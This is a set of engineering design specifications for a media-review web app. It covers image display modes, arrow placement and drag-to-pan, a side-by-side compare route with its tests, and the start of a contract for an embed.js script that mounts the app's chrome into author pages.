letterboxed box, on every path: blurred (`blur() drop-shadow()`, because
`filter` is one property and a blur rule would replace the shadow),
revealed, and under Reveal all.
- **1:1 shows natural pixels**, centred when smaller than the stage and
scrollable when larger, with EVERY pixel reachable. The stage aligns to its
START edge in 1:1, and the picture's auto margins centre it when it is
smaller. A centred flex item larger than its scroll box overflows both
sides, and the start side can never be scrolled to (heid code-review,
measured: a 3000px picture hid its leftmost 980px). The upscale softness in Fit is exactly why 1:1 exists
and is always one click away.
## S2 — the toggle is always there for a picture
- **Fit | 1:1 shows for EVERY picture**, never hidden because a picture happens
to fit — that per-picture hide is why the operator could not find the
feature. Video and audio still get no toggle.
- It is in the markup with `hidden` for pictures only; the script removes
`hidden`. Without JS it never shows (Fit-fills needs no toggle).
- **The mode persists across prev/next, per browser**: every click writes
`localStorage["booth.fit"]` = `one` or removes it (Fit); arrowing through a
set in 1:1 is how detail gets compared.
- **The mode is ONE class on `<html>`, `stage-one`** (absent = Fit), set by
the early `<head>` script — the one r2b uses for the theme and Reveal all —
BEFORE THE STAGE EXISTS in the document. So no paint can ever show a 1:1
reel's stage in Fit: the class is there before the stage is parsed. The
stage's CSS keys off it (`.stage-one .vstage`); the server renders the
stage as plain `vstage` (Fit is the default, no class needed).
- A stored value other than `one` reads as Fit. A read that throws reads as
Fit; a write that throws still applies the click, the pressed state
included. Never raises.
- A mode chosen in another tab moves every open review (the `storage` event),
as the theme does.
- The buttons' pressed state is drawn from the `<html>` class, the one
record of the mode on the page (storage is its memory, off the page).
## S3 — the arrows sit at the picture
- **Each arrow sits wholly outside the picture's DRAWN edge, its near edge 8px
from the picture**, vertically centred on the stage. The measure is always
the DRAWN picture, never the file's natural size: the `object-fit: contain`
content box (from the natural size and the box). In 1:1 (scale 1) that IS the
picture's own box, and where it runs past the stage the clamp keeps the arrows
inside. A
video's own box counts the same way; audio keeps the stage-edge arrows.
- **Clamped to the stage's CLIENT box**: an arrow never goes past the stage's
edge (8px inset), never over the rail, never off the stage, and never under
a classic scrollbar (the client box excludes it). When there is no room for
it outside the drawn picture — the drawn picture spans, or nearly spans, the
stage's width — it sits at the stage edge, over the picture. That is the
ONLY case the arrows sit at the stage edge (the operator: "closer to the edge
of the image instead of out at the edges unless the image spans the entire
width").
- Re-placed on picture load (or at once when it is already loaded), stage
resize (a `ResizeObserver`, which covers window resizes and the rail
stacking) and mode switch. (Scrolling a 1:1 picture cannot move its drawn
horizontal edges past the clamp, so it needs no re-placement.)
- **Before the picture's size is known** (JS on, picture still loading), and if
it fails to load, the arrows stay at their CSS spot; they move once the drawn
box is known. Without JS they stay there. If the size ever becomes unknown
again, a placed arrow returns to that spot rather than keeping a stale one.
- That CSS spot is the STAGE's vertical centre. When stacked (≤900px) that
is 30vh down: the stage is the body's first 60vh, and centring on the
whole body put the arrows over a tall rail (heid code-review). The rule
lives in view.html after `.vnav`, because a base.html rule loses to the
page's own later one.
- The anchors, their classes and their hrefs are unchanged (test_booth,
test_navigation, test_flow pin them).
## S4 — drag to pan in 1:1
- **In 1:1, when the picture overflows the stage on EITHER axis,
press-and-drag pans it**, along whichever axes overflow. `grab` cursor at rest,
`grabbing` while dragging, pointer capture.
- **The picture follows the pointer** (the grab convention): a drag of +dx,
+dy changes the stage's scroll by −dx, −dy.
- A press that moves less than 4px IN TOTAL (Euclidean) is not a drag:
nothing pans. A (3, 3) diagonal is 4.24px, so it pans.
- A press on the stage's own scrollbar is the scrollbar's, never a pan.
- The drag is CAPTURED once it begins, so it keeps panning past the stage's
edge. A press released outside the stage before the drag began never
becomes a pan: a move with no button held ends it.
- **Pan listens on the stage only**, and no control is in the stage's
scrolled content: the arrows never were, and **the stage's own reveal
button moves OUT of the stage to sit over it** (found building this: in
1:1 a panned picture carried the button out of view with it). So a control
is never a pan source and keeps its own click, at any scroll.
- That reveal is JS-only, so it renders `hidden` until the script binds it,
the toggle's pattern (heid bug-hunt: shown with scripts off, it did
nothing). A revealed picture keeps Fit's drop shadow.
- Accepted: no `touch-action`. On touch the stage scrolls natively, and the
pan yields on `pointercancel`; `none` would take native touch scrolling
away. The `dragstart` `preventDefault` sits beside `draggable=false` as a
second layer.
- **The picture cannot be dragged away**: `draggable="false"` on `#vimg` and a
`dragstart` `preventDefault` on the stage.
- Fit, or a 1:1 picture that fits: no pan, no grab cursor.
- Keys, the stage reveal, Reveal all, the rail and the filmstrip are
unchanged.
## Invariants
- **INV-1 — no server change.** Markup, CSS, page script.
- **INV-2 — JS-off parity.** Without JS: Fit-fills, stage-edge arrows, no
toggle, no pan, and every judgment (the rail's flag, note and pick forms) and
navigation (the arrows and the filmstrip) intact.
- **INV-3 — one record of the mode** on the page: `stage-one` on `<html>`.
- **INV-4 — the arrows never cover the rail and never leave the stage.**
- **INV-5 — storage never raises**, read or write.
## TESTS
- `fit_fills_the_stage_up_or_down` [tracer]: a picture smaller than the stage
and one larger both draw at the scale `min(W/w, H/h)` in Fit — the contain
content box, never cropped — and at natural size in 1:1.
- `the_toggle_shows_for_every_picture_and_never_without_js`: a picture that
fits at natural size still gets the toggle; video and audio do not; with JS
off it never shows.
- `the_mode_persists_across_prev_next_and_never_flashes`: choose 1:1, press
→ ; an observer installed before any page script records `<html>`'s class at
the moment the stage ELEMENT is inserted by the parser — it is already
`stage-one` (so no paint can show that stage in Fit); storage throwing still
applies the click; a stray stored value reads as Fit.
- `the_arrows_sit_just_outside_the_picture_and_clamp_to_the_stage`: a portrait
picture whose natural width exceeds the stage but which is DRAWN narrower
(height-bound in Fit) — each arrow wholly outside the drawn picture, its near
edge 8px (±2) from it; a landscape drawn as wide as the stage — arrows inside
the stage at its edges, over the picture, never over the rail; after a window
resize they follow the new drawn box.
- `in_one_to_one_every_pixel_of_a_large_picture_is_reachable`: at scroll
(0, 0) the picture's top-left is the stage's; at the far scroll its
bottom-right is; a small picture is centred.
- `a_pan_holds_past_the_stage_edge_and_never_starts_on_a_hover`: a drag
carried past the stage's edge keeps panning; a press released outside,
then a buttonless hover, pans nothing.
- `before_placement_the_arrows_never_sit_over_the_rail_on_a_narrow_screen`:
JS off at 390px with a rail taller than the stage, the arrows sit within
the stage; a picture that fails to load leaves them unplaced, with no error.
- `the_stage_reveal_never_shows_without_js_and_keeps_the_fit_shadow`.
- `a_stage_mode_chosen_in_one_tab_moves_the_others`.
- `a_classic_scrollbar_is_neither_under_an_arrow_nor_a_pan`: with a forced 15px
classic bar (asserted real first: headless Chromium hides scrollbars), the
next arrow sits inside the client box, and a press dispatched on the bar
pans nothing.
- `a_picture_that_overflows_one_axis_pans_along_it`.
- `in_one_to_one_a_drag_pans_and_the_picture_cannot_be_dragged_away`: a picture
overflowing both axes in 1:1 — a drag of (+80, +60) changes the scroll by
(−80, −60); a 2px press pans nothing; a press on the stage's reveal button
reveals and does not pan; `#vimg` is `draggable=false`; in Fit a drag does not
scroll.
## Assertions that change (declared before the code)
| test | today | after | why |
|---|---|---|---|
| test_flow_browser `test_the_next_arrow_clears_the_rail_only_beside_it` | the next arrow's computed `right` is 360px wide / 0px narrow | replaced by `the_arrows_sit_just_outside_the_picture_and_clamp_to_the_stage` (never over the rail; at the picture's edge) | the arrows now track the picture, not the stage edge (operator) |
| test_flow_browser `test_reveal_all_reveals_every_blurred_surface_and_survives_the_next_page` (r2b) | the revealed review stage's filter is `none` | it carries no blur (`blur(` absent); Fit's `drop-shadow` stays | the stage keeps its shadow on every path (S1) |
| tests/mutations/r2_flow.toml, the row on the next arrow's 360px offset | proved `.vnext{right:360px}` wide / 0 narrow | retired, with successors in r2c.toml | its test was replaced (row one above) |
| test_flow `test_only_a_picture_gets_the_fit_toggle_and_blur_stays_honest` | `id="vtoggle"` present for a picture (hidden by inline style); the stage is `class="vstage fit is-blurred"` | the same presence, now with the `hidden` attribute; the stage is `class="vstage is-img is-blurred"` | the toggle is `hidden` until the script shows it; the mode moved to `<html>` (never flash); `is-img` scopes the picture-only 1:1 rules |
## Out of scope
- Synced pan / the same crop across items, and two panes: r3 (compare).
- A zoom level between Fit and 1:1, wheel zoom, pinch.
- A key for the mode toggle.

---
# R3 — compare
## C1 — the route and the pair
- **`GET /b/{name}/compare?a=<rel>&b=<rel>`.** Both are booth-relative paths,
exactly as `view?f=<rel>` takes one (U1 identity). **Never ordinals**: an
ordinal is a position in the set as it is now (r2_flow, row 4). A file added
mid-bakeoff shifts every later ordinal, so a bookmarked compare would open two
different pictures and nothing would look wrong (booth-dev's seam note). The
page PRINTS both ordinals.
- **The rule for each side is a CONJUNCTION** (booth-dev's seam pass, S2). The
review's rule alone is not enough, and neither is ring membership alone:
1. the view route's resolve / containment / `is_file` check passes. That is
what 404s a symlink pointing outside the booth, which `booth_items` DOES
list, because it follows symlinks;
2. AND the rel is in `review_chain(items)`. The review does not 404 a doc
item (it renders it); compare does.
Anything else is a **404**, never a 500: an embedded NUL raises ValueError
and is a 404.
- **A missing or empty param is a 404, not FastAPI's 422.** The review
declares `f: str` and so answers 422 when `f` is absent. Compare declares
`a: str = ""` and `b: str = ""`, 404s an empty one, and checks each with the
same `isinstance(str)` that `_mark_redirect`'s `back=view` branch gives `f`
(the view route itself declares `f: str` and checks nothing more).
- **Route order:** the compare route is registered BEFORE the catch-all
`/b/{name}/{filepath:path}`, as view is. Accepted, and written down: a booth
FILE literally named `compare` is unreachable at `/b/<name>/compare`. This
is the same shadowing view, marks, asks and embed.json already cause.
- `a == b` is allowed. It is pointless but harmless: the same picture twice.
- **A look records both.** `record_view(booth)` once, and `record_seen` for `a`
and then for `b`, below the 404s and gated on the records, as the view route
gates it. Both calls never raise.
- **The compare ring** is the review ring filtered by that same conjunction:
item order, media only, less anything compare would 404 (an outside symlink
stays in the review ring). EVERY compare link is built from it: the strip,
the steps, the review's Compare control and the `back=compare` landing. So
no navigation offers a pair that 404s, and a step walks over such an item.
- **Each rel is judged ONCE per request** (booth-dev, after the merge). The
route builds the compare ring once and judges both sides by membership of
it. Resolving a rel twice lets a file that vanishes between the two reach a
lookup that raises, a 500. The review re-judges its own item first and scans
forward for the next comparable one; when its item is no longer comparable,
the review renders WITHOUT a Compare control (and `C` does nothing), never a
500.
- The response carries, per side: the rel, its quoted url, ordinal, kind,
caption, blurred, flagged and thumb. It also carries the compare ring as a
filmstrip in RING ORDER (the view route's `film`, one line in the route's docstring),
the linked and per-side step targets (C3), the back link (the review of `a`,
which is also where `Esc` goes), and `ord_width`.
## C2 — picking the two
- **From the review:** a `Compare` control in the review's top bar, and the key
`C`, open `compare?a=<this item>&b=<the next item in the ring>`. With a ring
of one item, `b` is the item itself.
- **On the compare page, the filmstrip is the picker.**
- Each frame is marked `A`, `B`, or nothing (both marks when `a == b`).
- With JS, a click on a frame sets the ACTIVE side to that item and stays on
the compare page. The active side defaults to B.
- The active side wears the SVOS reticle (the one selection device). A press
on either stage (pointerdown, so starting a 1:1 pan there also makes it
active), or the key `X`, makes that side (or the other) active.
- **The active side lives on a NON-region element**, the side's wrapper
around its stage, and in the URL's `side` (C2), rewritten in place when it
changes. An in-place save swaps regions (strip, labels, flags), and
the in-place client carries only `revealed` and `is-closed` across a swap,
so state kept on a region would be dropped. The strip's markers for the
ACTIVE side are re-applied on `booth:swapped`. Strip clicks are delegated at
the document, because the frames are replaced.
- Without JS, every frame is a link that sets the active side from the URL
(B by default): `compare?a=<a>&b=<frame>`.
- **The view state rides in the URL too**, because every pick and step is a
navigation, and state kept only in the page would reset on each one:
- `side=a` makes A the active side (absent means B);
- `link=0` unlinks the stepping (absent means linked).
These are view state, not identity: an unknown value reads as the default,
never as an error, and every server-built link carries the current values
forward. The PAIR is still only the two rels. The route declares
`side: str = ""` and `link: str = ""`, NOT an int or a Literal, which would
bring S1's 422 back for `link=maybe`.
- **Why B is the default active side:** A is where you came from, the anchor.
B is what you are weighing it against, so a strip pick changes the
comparison and not the anchor. `X` or a click on A makes A active.
- The picked pair is ALWAYS in the URL. Every pick and every step is a
navigation (a FULL page load) to a compare URL. The linked state and the
active side survive it only because they ride the URL too (above); nothing
else about the page is carried across a step, so the back button walks back through the pairs,
and a reload shows the same pair.
## C3 — stepping
- **Linked (the default):** `←` and `→` move BOTH sides one place along the
ring, keeping their distance: `(ia ± 1, ib ± 1)`, each modulo the ring
length (the review's wrap). This walks a bakeoff's parallel runs: `#09 · #25`,
then `#10 · #26`.
- **Unlinked:** `←` and `→` move only the ACTIVE side.
- The `Linked` toggle sits in the top bar, with the key `L`. Its state is the
URL's `link` (C2): toggling it rewrites the current URL in place
(`history.replaceState`) and the step links, so the next step keeps it. A
fresh compare from the review starts linked. It is not stored anywhere
else: a remembered unlinked state would surprise the next compare.
- `Space` and `Shift+Space` act as `→` and `←`, with the review's guard: never
from a focused control, and never while a player on either stage has focus.
- **Every key on this page** (`←` `→` `Space` `A` `B` `X` `L` `Z` `C` `Esc`) is
ignored while focus is in something editable, and whenever a modifier
(Ctrl, Meta, Alt) is held: the review's `isEditable` rule, applied to all of
them, not only to Space.
- `C` and `Esc` both return to the review of A. `C` is the view toggle: `C` in
the review opens compare with that item as A, and `C` again goes back to it.
- Without JS, the page renders plain links for "both back", "both forward",
and each side's back and forward, with server-computed targets.
## C4 — the stages
- **Two stages side by side** when the viewport is wider than 900px. Each is
half the body and labelled `A #09 <name>` / `B #25 <name>`. At 900px and
below they STACK, A above B, each at most 45vh tall. The stack break is the
review's.
- **The two stages are always the same size.** The sides share one set of rows
(subgrid), so a caption under one side takes its height from both stages,
never from that side's alone, and the separator between them is a column
gap, never a border that comes out of one side's width. Two stages of
different sizes would draw the same picture at two scales in Fit.
- **At phone width (600px and below) a top bar that cannot hold its controls
WRAPS** instead of scrolling the page sideways or crushing a control. The
rule is on `.vbar`, so it applies to every bar of that class: compare's, the
review's (which gains the Compare control, only its glyph below 600px), and
doc.html's. The review's bar was already full: a fogged booth
overflowed it by 3px at 390px before r3.
- **Each stage is the r2c stage:** Fit fills (up or down, contain, never
cropped), or 1:1 at natural pixels with every pixel reachable. Drag pans a
1:1 picture that overflows. The picture cannot be dragged away. Video and
audio play in their own stage.
- **One mode for both:** the SAME `stage-one` class on `<html>` and the same
`localStorage['booth.fit']`. Choosing 1:1 on the compare page is choosing it
for the review, and back, because the mode is a per-browser preference
(r2c S2). The `Fit | 1:1` toggle is in the top bar. The key `Z` switches
it ON THE COMPARE PAGE ONLY, bound by compare.html and not by the shared
include, so the review gains no key beyond `C` (INV-6). Provenance: r2c's
out-of-scope lists "a key for the mode toggle" as its own line, not parked
into r3. Compare takes it because comparing detail means switching modes
often.
- **Synced pan (parked into r3 by r2c): in 1:1, panning either stage pans the
other to the SAME FRACTION of its scrollable range**, on each axis
independently.
- For two pictures of the same size, that is the same crop: the same pixels
under the same point.
- A side with nothing to scroll on an axis ignores that axis.
- A scroll caused by the sync never re-triggers a sync, so there is no loop
and no drift.
- Scrollbars and wheel/trackpad scrolling sync the same way as drags, because
the sync listens to `scroll`, not only to drags.
- **One copy of the machinery, behind a stated interface** (S7: today's script
is single-instance and ID-keyed, and `settle` is `place` + `pannable`). The
include `_stage_js.html` defines two things and binds nothing by itself:
- **`BoothMode.bind({toggle, fit, one, onChange})`: page level.** It owns the
`stage-one` class, `setMode`, the pressed state, the storage writes and the
cross-tab `storage` listener. It never raises. A page binds it ONLY when at
least one of its stages is an image, which is the review's rule today; two
videos get no toggle.
- **`BoothStage.attach(stageEl, {img, onSettle})`: once per stage.** It owns
`pannable()`, drag-to-pan (the 4px threshold, capture, scrollbar exclusion,
`dragstart` prevention) and the stage's `can-pan` / `is-grabbing` classes.
It calls `onSettle()` after its own settle, and it returns
`{settle, pannable}`.
- **view.html:** attaches its one stage with `onSettle = place`, so the
arrows stay view's own code. It binds `BoothMode` exactly as today, and
keeps EVERY id it has (`vstage`, `vimg`, `vtoggle`, `btn-fit`, `btn-one`,
`vreveal`, `vmedia`, `vflag-btn`), because test_flow_browser queries them.
Its reveal, keys, `centreFilm` and ResizeObserver stay in view.html. It
has no floating arrows to add.
- **compare.html:** attaches both stages and binds `BoothMode` once, with an
`onChange` that settles both. Its per-side reveal buttons are its own code.
It owns its OWN `ResizeObserver` over both stages, calling each stage's
`settle`, because `pannable` changes on resize. `BoothStage.attach` does
NOT own a ResizeObserver, so view.html's observer, and its mutation row,
stay where they are.
## C5 — judging
- **Each side has its own flag control**, the existing flag form (`POST
/b/{name}/flag`, `data-inplace`, 204 with JS). The verdict is "flag the
winner", and flagging both is allowed. **What a flag records, stated plainly
because it is the ruled trade-off:** a flag says "this one is good". Both
flagged means both are good. Neither flagged means no call, OR a tie, and
the flags cannot tell those apart. That is exactly why the A/same/B record
was parked, not an oversight. Flagging the loser is the operator's
prerogative; the page does not police it.
- Keys: `A` toggles A's flag and `B` toggles B's. No `F` on this page,
because which side it meant would be a guess. Each key LOOKS UP ITS BUTTON
AGAIN at press time, because a save may have replaced it (the review's
`vflag-btn` rule).
- The flag controls, the filmstrip and each side's label are `data-region`s,
so an in-place save refreshes them. The stages are never regions,
because swapping one would restart a playing track (the review's rule).
- **Region ids are unique on the page and keyed by SIDE** (S4): `flag-a`,
`flag-b`, `label-a`, `label-b`, `film`. The swap keeps only the FIRST fresh
node for each id and copies it over EVERY live node with that id. A shared
`flag` id would therefore turn B's control into A's after any save, so
that pressing B flagged A, and nothing would show it. The ids are NOT
keyed by rel, which `a == b` would duplicate, and NOT prefixed `item-`,
which the swap reads as a stale tile.
- **Without JS, a flag lands back on the same compare page:** the form carries
`back=compare`, `a`, `b`, `side` and `link`, and `_mark_redirect` builds
`/b/<name>/compare?a=<quote(a, safe="/")>&b=<quote(b, safe="/")>` from them,
appending `&side=a` ONLY when the form's value is exactly `a` and `&link=0`
ONLY when it is exactly `0`, in that order. The view state is mapped from
that closed set and never echoed. The URL has NO fragment (the flags sit beside the stages, so there is nothing to
scroll to). It does that ONLY when both are strings in the ring, quoting each
as the view branch does. It is built from the checked rels and
never echoed from the form. Anything else takes the no-`back` landing. Every
other `back` value is byte-identical to today (R2 INV-4).
- Notes and the booth's open questions stay on the review. Compare carries only
the flag, plus a `review A` / `review B` link on each side to the item's full
review.
## C6 — blur and captions
- **Blur honesty per side:** a blurred item renders blurred, with its own
reveal button over its stage (the review's pattern: JS-only, `hidden` until
bound, never inside the scrolled content). Reveal all reveals both.
- The blur CSS is scoped to `.review` (base.html: `.review .vstage.is-blurred
img`, the `.revealed` and `is-img` rules, and Reveal all's `.reveal-all
.review .vstage.is-blurred …`). The compare root is therefore
`class="viewer review compare"`, and `.compare` overrides the review's
4-row grid and the 360px rail column. The blur rules are not re-scoped:
they and their r2b mutation rows stay as they are.
- Each stage carries `vstage` and `is-img` (for a picture) and
`is-blurred`, exactly as the review's does, so the 1:1 and blur rules
apply unchanged.
- Reveal all hides the review's stage reveal by ID
(`.reveal-all #vreveal`). Compare's per-side reveals use a class,
`cmp-reveal`, and base.html gains `.reveal-all .cmp-reveal{display:none}`.
- compare.html carries `{% block html_attrs %} data-booth="{{ name }}"`,
because without it Reveal all's script and the head script's reveal
restore both bail (S6, r2b's mutation row for the review).
- **Each side's caption** shows under its stage in `.cmp-cap`: the review's
`.vcap` type (size, leading, colour, pre-wrap), clamped to 20vh rather than
the review's 30vh, with its own scroll. Two sides share the height.
## Invariants
- **INV-1 — rel identity.** The pair is two rels, in the URL, always. Nothing
about the pair is stored, and no ordinal ever addresses an item.
- **INV-2 — ring only.** Both sides are media in the review ring that pass the
view route's containment. Every server-computed link (the steps, the
filmstrip, the review's Compare control, the flag landing) stays inside the
compare ring (C1).
- **INV-3 — no new storage and no new mark.** The judgment is the existing flag,
through the existing route and the existing in-place path.
- **INV-4 — JS-off parity.** Without JS (and so without the head script that
would apply a stored 1:1, which is itself a script): two Fit stages. Both
sides' flag forms are present, so choosing which side to flag needs no
picker; per-side and linked step
links; filmstrip links that replace the URL's active side (B by default,
C2); flag forms that land back on the same pair.
Nothing judgment-bearing hides behind a script.
- **INV-5 — one record of the stage mode**, shared with the review:
`stage-one` on `<html>`. Storage never raises.
- **INV-6 — the review is unchanged in behaviour.** It gains a Compare control and
a `C` key. The stage refactor changes no r2c assertion.
## TESTS
Server (`tests/test_compare.py`):
- `compare_renders_the_pair` [tracer]: a booth of four images; `compare?a=<#1>&b=<#3>` → 200; both names and both ordinals are printed; the filmstrip marks #1 A and #3 B.
- `a_bad_side_is_a_404`: a missing `a` or `b`, `..` traversal, a NUL, a dotfile, a doc item, a non-item file → 404 each, never 500.
- `a_look_records_both_seen`: after a compare GET, `.seen` holds both rels; a 404 records nothing.
- `linked_steps_keep_the_distance_and_wrap`: THE FIXTURE PUTS A DOC BETWEEN THE MEDIA (`03-notes.md`), so an ordinal is not a ring position. In a ring of 6 media with a at ring position 2 and b at ring position 5, "both forward" targets ring positions (3, 6), then (4, 1), wrapped; "both back" from (1, 4) targets (6, 3). The assertions name rels, never ordinals.
- `the_urls_are_keyed_by_rel`: every step and filmstrip link carries `a=`/`b=` rels, url-quoted; no link carries an ordinal parameter.
- `a_flag_without_js_lands_on_the_same_pair`: `POST /flag` with `back=compare&a=..&b=..` → 303 to exactly `/b/<name>/compare?a=..&b=..`; with `side=a&link=0` added → exactly `…&side=a&link=0`; with `side=A` or `link=00` → neither appended; with a rel not in the ring → the no-back landing; `Accept: application/json` → 204, unchanged.
- `every_other_landing_is_byte_identical`: the existing `back=view` / `back=marks` / no-back redirects are unchanged (R2 INV-4).
- `the_review_offers_compare_with_the_next_item`: with the doc fixture, the review of a media item links `compare?a=<it>&b=<the next media item in the ring>`, skipping the doc; the last media item links to the first.
- `view_state_rides_the_links`: with `side=a&link=0`, every step and strip link carries both; an unknown `side=z` or `link=maybe` renders as B-active and linked, never an error.
- `no_data_region_repeats`: on a compare page, including `a == b`, every `data-region` value is unique, and the side regions are `flag-a`, `flag-b`, `label-a` and `label-b`.
- `a_missing_param_is_404_not_422`: `compare?a=<x>` without `b` → 404.
- `an_outside_symlink_in_the_ring_is_404`: a booth symlink pointing outside the booth is in review_chain, and compare with it as either side → 404.
- `compare_carries_data_booth`: the page's `<html>` carries `data-booth`.
Browser (`tests/test_compare_browser.py`):
- `two_stages_side_by_side_wide_and_stacked_narrow` [tracer]: at 1440 both stages sit in one row; at 390 A sits above B and each is at most 45vh.
- `one_mode_for_both_and_for_the_review`: `Z` switches both stages to 1:1; `localStorage['booth.fit']` is `one`; the review then opens in 1:1.
- `synced_pan_lands_on_the_same_crop`: two equal-size pictures larger than the stage in 1:1. A drag on A of (+80, +60) scrolls both by (−80, −60). A scrollbar or wheel scroll on B moves A to the same fraction. Neither stage drifts after a second of idle.
- `synced_pan_by_fraction_for_different_sizes`: a 2000px and a 3000px picture, one scrolled to its middle, puts the other at its middle; and one scrolled to 25% of its range puts the other at 25% of ITS range (not at the same pixel offset). This is the test that sees a fraction bug; the equal-size test above cannot, because equal overflow makes offsets and fractions coincide.
- `a_flags_A_in_place_and_the_stages_survive`: press `A` → A's flag shows flagged with no navigation; the stage elements are the same nodes (a stage was not swapped).
- `linked_arrow_walks_a_bakeoff`: in a booth shaped like sindra-bakeoff (lanes m and r, 4 pairs), open m#1 vs r#1 and press `→` three times: each pair shares its scene and seed suffix.
- `unlinked_moves_only_the_active_side_and_the_strip_picks_it`: `L`, then `→`, moves only B, and a SECOND `→` still moves only B (the unlinked state survived the navigation); a click on a strip frame sets the active side's item; `X` swaps the active side and the reticle follows it, and survives the next step.
- `blur_is_honest_on_both_sides`: a blurred B's image has a COMPUTED filter containing `blur(`, not just a class. Its own reveal clears it. Reveal all clears both, and hides both `cmp-reveal` buttons.
- `a_save_keeps_the_active_side`: make A active, flag B in place → A is still active (reticle, strip marker), and a strip click after the swap still sets A.
- `without_js_every_judgment_and_step_still_works`: JS off — the pair renders, the step and strip links navigate, and a flag lands back on the same pair.
- `the_review_still_behaves_exactly_as_r2c_says`: the r2c browser suite passes unchanged against the refactored view.html. This is a gate, not a new test.
## Assertions that change (declared before the code)
| test | today | after | why |
|---|---|---|---|
| no behavioural assertion | — | — | view.html's behaviour is unchanged (INV-6). The only additions are the Compare control and the `C` key, which no current test pins. |
| tests/mutations/r2c.toml: 21 rows anchor in view.html's script; the 15 on the toggle, the storage listener and drag-pan | `file = view.html`, anchors in the inline script | `file = _stage_js.html`, anchors re-pointed to the parameterised code (e.g. `stage.scrollLeft` becomes the attached stage's name) | the code moved (C4); every re-pointed row must still FALSIFY |
| tests/mutations/r2c.toml: the other 6 of those 21, the arrow placement, including the resize row ("S3 the arrows do not follow a resize") | view.html | unchanged: `place()` and view's ResizeObserver stay in view.html (C4) | — |
| tests/mutations/r2b.toml, the row on Space from a focused button | view.html's keydown | unchanged: the keydown handler stays in view.html | — |
| tests/mutations/r2b.toml, "the top-bar controls squeeze into multi-line stacks at phone width" (declared during the build) | removes the no-wrap rules | removes the no-wrap rules AND the phone-width wrap | a wrapping bar never squeezes, so removing the no-wrap rules alone went vacuous; r3.toml rows the wrap on its own |
| new: tests/mutations/r3.toml | — | rows for: the side-keyed region ids, the conjunction 404, `back=compare`'s ring check, the linked distance, the synced-pan loop guard, the `data-booth` attribute, the `cmp-reveal` Reveal-all rule | the r3 falsifiers |
**The gate for the refactor is the TABLE, not only the suite:**
`scripts/mutation_check.py tests/mutations/r2c.toml` (and r2b.toml) with every
row falsifying after the move. A green r2c browser suite proves the behaviour
survived. The table proves the tests still bind to the code that moved
(booth-dev, S8).
## Out of scope
- Detecting pairs from filenames (ruled out: 1 of 26 live booths pairs by a name rule, and none of sindra-h2h does).
- An A-better / same / B-better record (ruled: parked). If it is ever ruled in, it is a new mark keyed by an ORDERED pair of rels, in booth-dev's storage, with the JSON sessions read stated (booth-dev's note).
- A zoom between Fit and 1:1, wheel zoom, and pinch (parked into r3 by r2c; parked again here: compare works at Fit and 1:1, and a third level is its own unit if the operator asks for it).
- Three or more panes, onion-skin or swipe overlays, and a difference view.
- Synced playback of two videos or two tracks (each stage plays on its own).
- A grid multi-select to start a compare from the lightbox (the review's `C` and the picker strip cover picking).
- Comparing across booths.

contract_version: "1.0"
module: "booth.app (verbatim serving) + booth/static/embed.js"
purpose: "A booth that ships its own index.html is the operator's most important surface -- his design reviews, his audition reports, his briefs -- and the Booth reaches into it with six regular expressions against arbitrary author HTML plus a placeholder DSL that substitutes rendered markup by pattern. Both work today and both are the single most fragile thing in the service. This unit replaces the whole class with a DECLARED SEAM: the page carries one line (`<script src=\"/_booth/embed.js\" defer></script>`), the Booth mounts its chrome through real DOM APIs, and a page that declares the line is served with ZERO Booth markup added to it. A page that does not declare it gets that one line appended at the end -- the only remaining mutation, and it needs no pattern matching at all. Operator ruling, 2026-09-21: the page declares itself, the Booth mounts into it."
depends_on:
- "booth.marks (marks_for, open_marks, hold_read -- the pick records the payload renders. UNCHANGED by this unit: U3 changes how fragments REACH the page, never what a mark is. Read against booth/marks.py, not against the U2 contract's prose -- see the seam review.)"
- "booth/templates/_ask_inline.html (the `whole` / `question` / `submit` macros stay the ONE renderer of an ask fragment, called from the embed payload instead of from inject_asks. Its `styles()` macro is DELETED -- inject_asks was its only caller and the CSS moves into embed.js so the chrome is one asset. Macro signatures are otherwise untouched.)"
- "booth.asks.normalize_ask (TRANSITIVE, through `marks._hydrate`, and named because the payload shape depends on it: a MULTI ask normalizes to questions whose `key` matches `^[A-Za-z0-9][A-Za-z0-9._-]{0,60}$`, and a SINGLE-question ask normalizes to exactly one question whose `key` is `None`. Both facts are load-bearing -- the first makes splitting an anchor spec on the first colon unambiguous, the second is why `questions` is a list. Read against booth/asks.py:138-223.)"
- "booth.app.FAVICON_HREF (the data-URI icon, carried in the payload rather than copied into embed.js -- a third copy of that string is exactly the multiple-readers-of-one-truth shape the repo's ONE-RESOLVER rule (CLAUDE.md invariant 3 -- NOT this contract's INV-1, which is the untouched-page rule; a cold arm read the two as one label and was right to) exists to stop. base.html's literal copy predates this unit and is out of scope.)"

assumptions:
- "THE OPERATOR ALREADY RULED ON THE SEAM (2026-09-21, recorded in the IA doc): the page declares itself and the Booth mounts into it, via `<script src=\"/_booth/embed.js\" defer></script>`. That ruling ACCEPTS a JavaScript dependency on the verbatim path, which today has none. This contract does not re-open it. What the contract DOES do is state the consequence plainly so it is not discovered later -- see the degradation assumption below."
- "THE ONLY REMAINING SERVER-SIDE MUTATION IS A CONDITIONAL APPEND, AND IT NEEDS NO PATTERN AT ALL. Two substring tests (`src=\"/_booth/embed.js\"` and its single-quoted twin), then a concatenation. ⚠ THE BARE PATH WAS THE FIRST DRAFT AND IT FAILED IN THE DANGEROUS DIRECTION: a report that merely MENTIONS the path -- a code sample, a comment, a sentence about this feature, which the Booth's own design reports are the likeliest pages to contain -- would have counted as declaring it, been served untouched, and shown no chrome at all, silently. Requiring `src=` immediately before the path flips the failure direction: an unusual spelling (`src = \"...\"`, an unquoted attribute, a `?v=2` suffix) reads as NOT declared, so a second tag is appended and embed.js mounts once anyway on its `window.__boothEmbed` guard. A missed declaration costs a duplicate tag; a false one costs the operator his chrome. Three of four cold-panel arms found this independently. This is why all six regexes die rather than collapsing to one: content appended AFTER `</html>` is parsed into the body by every browser, so there is nothing to find. Nothing is ever PREPENDED, which is what retires both of wrap_verbatim_html's hard constraints in one stroke -- no doctype can be displaced into quirks mode and no charset meta can be pushed out of the first 1024 bytes, because nothing moves."
- "THE FAVICON MOVES FROM A REGEX TO A DOM QUERY. `_ICON_RE` existed to answer `does this page already declare an icon`, against raw text, and three more regexes existed to find a head-ish seam to put one in. embed.js asks `document.querySelector('link[rel~=\"icon\"]')` and appends to `document.head`. That is the same question and the same action, asked of a parsed document instead of a string -- and it is four of the six regexes."
